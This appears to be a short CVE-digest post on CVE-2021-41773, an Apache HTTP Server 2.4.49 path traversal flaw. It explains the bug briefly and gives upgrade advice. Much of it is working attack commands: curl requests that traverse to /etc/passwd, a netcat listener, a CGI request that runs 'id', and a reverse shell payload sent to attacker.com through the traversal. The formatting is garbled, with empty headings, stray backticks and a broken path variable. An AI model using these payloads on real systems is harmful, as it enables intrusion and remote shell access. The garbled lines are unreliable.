Listen to this Post
How the mentioned CVE works:
A flaw was introduced in Apache HTTP Server 2.4.49 with a change to the path normalization algorithm. The vulnerability, CVE-2021-41773, arises when the `require all denied` directive is not used. An attacker can craft a specially crafted URL containing encoded path traversal sequences (e.g., `.%2e/` or .%32e) to bypass the normalized path checks. If a directory outside the web root is not properly protected by the “require all denied” directive, a request can map the URL to files outside the expected document root. This allows for path traversal and, if the server is configured with Common Gateway Interface (CGI) enabled, it could lead to remote code execution by allowing the attacker to execute arbitrary shell commands on the underlying system.
DailyCVE Form:
Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal
Severity: Critical
date: 2021-10-05
Prediction: Patch 2021-10-07
What Undercode Say:
curl -H "User-Agent: Undercode-Scanner/1.0" http://target/path/.%2e/.%2e/etc/passwd`!/bin/bash
<h2 style="color: blue;"></h2> Check for vulnerable version
<h2 style="color: blue;"></h2>httpd -v | grep “2.4.49”
<h2 style="color: blue;"></h2> Test for traversal
<h2 style="color: blue;"></h2>nc -lvnp 4444
`for path in .%2e/ .%32e/ %2e%2e/; do curl -s -o /dev/null -w "%{http_code}" http://target/$pathetc/passwd; done`
<h2 style="color: blue;">How Exploit:</h2>
`curl http://192.168.1.10/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d "echo;id"`
<h2 style="color: blue;"></h2>
`curl -G --data-urlencode "echo; bash -i >& /dev/tcp/attacker.com/4444 0>&1" http://vulnerable.host/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`
Protection from this CVE:
Upgrade to 2.4.50.
Implement `require all denied.
Sanitize user input.
Impact:
Information Disclosure.
Remote Code Execution.
System Compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
